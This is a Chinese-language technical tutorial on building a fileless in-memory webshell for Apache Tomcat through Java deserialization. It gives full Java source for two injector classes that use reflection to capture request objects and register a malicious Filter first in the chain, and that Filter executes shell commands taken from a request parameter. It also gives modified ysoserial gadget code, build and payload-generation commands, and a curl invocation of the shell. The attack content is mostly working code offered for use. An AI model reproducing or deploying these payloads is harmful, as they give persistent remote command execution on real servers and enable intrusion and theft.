基于Tomcat的内存Webshell 无文件攻击技术¶
0x01 tomcat通用的获取request和response¶
首先我们看看一个普通http请求进来的时候，tomcat的部分执行栈：
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
按照kingkk师傅的方法，利用的点是在 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter：
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
其中，通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化，之后，每次请求进来，就能通过这两个ThreadLocal获取到相应的request和response了。但是，也存在一点小限制，在其set之前，看：
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
...
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}
先执行完所有的Filter了filter.doFilter(request, response, this)
因此，对于shiro的反序列化利用就没办法通过这种方式取到response回显了。
0x02 动态注册Filter¶
没错的，正如标题所说，通过动态注册一个Filter，并且把其放到最前面，这样，我们的Filter就能最先执行了，并且也成为了一个内存Webshell了。
要实现动态注册Filter，需要两个步骤。第一个步骤就是先达到能获取request和response，而第二个步骤是通过request或者response去动态注册Filter
步骤一¶
首先，我们创建一个继承AbstractTranslet（因为需要携带恶意字节码到服务端加载执行）的TomcatEchoInject类，在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author threedr3am
*/
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
接着，我们改造一下ysoserial中的Gadgets.createTemplatesImpl方法
public static Object createTemplatesImpl ( final String command) throws Exception {
return createTemplatesImpl(command, null);
}
public static Object createTemplatesImpl ( final String command, final Class c ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command, c,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class c, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
final byte[] classBytes;
if (c == null) {
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
classBytes = clazz.toBytecode();
} else {
classBytes = ClassFiles.classAsBytes(c);
}
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
可以看到，第二个传入的Class参数，我们并没有用到javassist，而是直接转字节数组，然后放到TemplatesImpl实例的_bytecodes字段中了。
最后，回到ysoserial中有调用Gadgets.createTemplatesImpl的payload类中来，我这边对每一个都做了拷贝修改，例如CommonsCollections11，我拷贝其修改后的类为CommonsCollections11ForTomcatEchoInject，在调用Gadgets.createTemplatesImpl(command[0];的地方，改成了final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);
并且，对ysoserial的main入口做一点小修改，因为原来的代码规定必须要有payload的入参，而我们这里不需要了
ysoserial.GeneratePayload#main：
if (args.length < 1) {
printUsage();
System.exit(USAGE_CODE);
}
在ysoserial执行maven指令生成jar包
mvn clean -Dmaven.test.skip=true compile assembly:assembly
这样，我们就能使用这个新的payload（CommonsCollections11ForTomcatEchoInject）了
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ~/tmp/TomcatShellInject.ysoserial
步骤二¶
在使用步骤一生成的序列化数据进行反序列化攻击后，我们就能通过下面这段代码获取到request和response对象了
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()
接着，我们要做的就是动态注册Filter到tomcat中，参考《动态注册之Servlet+Filter+Listener》，可以看到，其中通过ServletContext对象（实际获取的是ApplicationContext，是ServletContext的实现，因为门面模式的使用，后面需要提取实际实现），实现了动态注册Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
然而实际上并不管用，为什么呢？
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
if (filterName != null && !filterName.equals("")) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
} else {
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
this.context.addFilterDef(filterDef);
} else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}
return new ApplicationFilterRegistration(filterDef, this.context);
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", new Object[]{filterName}));
}
}
因为this.context.getState()在运行时返回的state已经是LifecycleState.STARTED了，所以直接就抛异常了，filter根本就添加不进去。
不过问题不大，因为this.context.getState()获取的是ServletContext实现对象的context字段，从其中获取出state，那么，我们在其添加filter前，通过反射设置成LifecycleState.STARTING_PREP，在其顺利添加完成后，再把其恢复成LifecycleState.STARTE，这里必须要恢复，要不然会造成服务不可用。
其实上面的反射设置state值，也可以不做，因为我们看代码中，只是执行了this.context.addFilterDef(filterDef)，我们完全也可以通过反射context这个字段自行添加filterDef。
在实际执行栈中，可以看到，实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);的地方
跟进其实现方法，忽略不重要的代码：
...
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
可以看到，从context提取了FilterMap数组，并且遍历添加到filterChain，最终生效，但是这里有两个问题：
- 我们最早创建的filter被封装成FilterDef添加到了context的filterDefs中，但是filterMaps中并不存在
- 跟上述一样的问题，也不存在filterConfigs中（
context.findFilterConfig是从context的filterConfigs中获取）
这两个问题，也比较简单，第一个问题，其实在下面代码执行filterRegistration.addMappingForUrlPatterns的时候已经添加进去了
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
if (dispatcherTypes != null) {
Iterator var5 = dispatcherTypes.iterator();
while(var5.hasNext()) {
DispatcherType dispatcherType = (DispatcherType)var5.next();
filterMap.setDispatcher(dispatcherType.name());
}
}
if (urlPatterns != null) {
String[] var9 = urlPatterns;
int var10 = urlPatterns.length;
for(int var7 = 0; var7 < var10; ++var7) {
String urlPattern = var9[var7];
filterMap.addURLPattern(urlPattern);
}
if (isMatchAfter) {
this.context.addFilterMap(filterMap);
} else {
this.context.addFilterMapBefore(filterMap);
}
}
}
而第二个问题，既然没有，我们就反射加进去就行了，不过且先看看StandardContext，它有一个方法filterStart
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}
boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();
Iterator var3 = this.filterDefs.entrySet().iterator();
while(var3.hasNext()) {
Entry<String, FilterDef> entry = (Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}
没错，它遍历了filterDefs，一个个实例化成ApplicationFilterConfig添加到filterConfigs了。
这两个问题解决了，是不是就完成了呢，其实还没有，还差一个优化的地方，因为我们想要把filter放到最前面，在所有filter前执行，从而解决shiro漏洞的问题。
也简单，我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain的代码：
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
}
创建的顺序是根据filterMaps的顺序来的，那么我们就有必要去修改我们添加的filter顺序到第一位了，最后，整个第二步骤的代码如下：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* @author threedr3am
*/
public class TomcatShellInject extends AbstractTranslet implements Filter {
static {
try {
/*shell注入，前提需要能拿到request、response等*/
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class
.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
ServletRequest servletRequest = null;
//不为空则意味着第一次反序列化的准备工作已成功
if (t != null && t.get() != null) {
servletRequest = (ServletRequest) t.get();
}
if (servletRequest != null) {
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
org.apache.catalina.core.StandardContext standardContext = null;
//判断是否已有该名字的filter，有则不再添加
if (servletContext.getFilterRegistration("threedr3am") == null) {
//遍历出标准上下文对象
for (; standardContext == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (o instanceof org.apache.catalina.core.StandardContext) {
standardContext = (org.apache.catalina.core.StandardContext) o;
}
}
if (standardContext != null) {
//修改状态，要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//创建一个自定义的Filter马
Filter threedr3am = new TomcatShellInject();
//添加filter马
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//状态恢复，要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//生效filter
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
//把filter插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter("threedr3am")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
和第一个步骤创建的TomcatEchoInject不一样，这里我们不但基础了AbstractTranslet，还实现了Filter创建一个我们自定义的内存Webshell
最后，我们也按照第一个步骤那样，创建一个ysoserial的CommonsCollections11类的拷贝，名叫CommonsCollections11ForTomcatShellInject，并把其Gadgets.createTemplatesImpl(command[0])的调用改成Gadgets.createTemplatesImpl(null, TomcatShellInject.class)，这样，我们的Webshell
payload就完成了。
通过执行maven打包
mvn clean -Dmaven.test.skip=true compile assembly:assembly
然后执行生成的jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatShellInject > ~/tmp/TomcatEchoInject.ysoserial
就生成了CommonsCollections11ForTomcatShellInject的payload了
0x03 测试¶
上一节中，我们生成了两个payload，接下来，我们启动一个具有commons-collections:commons-collections:3.2.1依赖的服务端，并且存在反序列化的接口。
然后我们把步骤一和步骤二生成的payload依次打过去
可以依次看到，两个步骤都返回500异常，相关信息证明已经执行反序列化成功了，接下来我们试试这个内存Webshell
完美，具体ysoserial改造后的代码，我已经上传到github，有兴趣可以看看 ianxtianxt/ysoserial
使用方法¶
Tomcat通杀回显-内存webshell
例：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
CommonsCollections11ForTomcatEchoInject > echo.payload
然后使用上述得到的恶意序列化数据echo.payload攻击一遍，然后再继续下面的操作
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
CommonsCollections11ForTomcatShellInject > shell.payload
使用恶意序列化数据shell.payload再攻击一遍，可以得到一个内存级的webshell，任意路径，参数threedram为命令
curl http://127.0.0.1:8080/aaa\?threedr3am\=ls%20/